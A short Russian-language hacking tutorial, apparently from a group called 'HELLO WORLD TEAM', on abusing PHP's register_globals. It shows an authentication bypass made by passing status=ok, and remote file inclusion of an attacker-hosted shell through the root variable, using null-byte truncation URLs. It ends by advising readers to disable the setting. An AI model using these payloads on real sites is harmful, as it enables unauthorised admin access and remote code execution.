HELLO WORLD TEAM - Register+Globals - Интернет Безопасность Register Globals
Сейчас я расскажу , о том как похекать сайт который использует включенный режим Register Globals .
По дефолту , в PHP версиях ниже 5, этот режим включен .
Что такое Register Globals ?
Это режим в котором создаются переданные(глобальные) скрипту переменные , пример:
http://localhost/script.php?name=vasili в данном случае создастся переменная name со значением "vasili".
Как это использовать ?
Допустим в скрипте есть авторизация при которой , если данные верны , создаётся переменная status со значением "ok" ,
после чего идёт проверка на значение "ok" , и если значение "ok" то открывается доступ к админке...
Для того чтобы поиметь такой сайт , достаточно передать скрипту значение "ok" в переменной status ,
и доступ будет открыт.
Еще пример .
Допустим в скрипте есть подключение локального файла.
Вот как это выглядит : include($root/option.php);
Теперь от нас всеголиш потребуется ввести в переменной root , адрес нашего сайта с предварительно записанным шелом с именем option.php ,
и скрипт выполнит наш файл как родной , пример :
http://localhost/script.php?root=http://target/ или
http://localhost/script.php?root=http://target/shell.php%00
%00 - это нулевой символ(символ с нулевым байтом) который обрезает идущие поссле него данные , в данном случае обрежется значение option.php,
что даст нам возможность выполнить файл с любым указанным именем .
Вот и все насегодня ..
ПС: отключайте режим Register Globals ...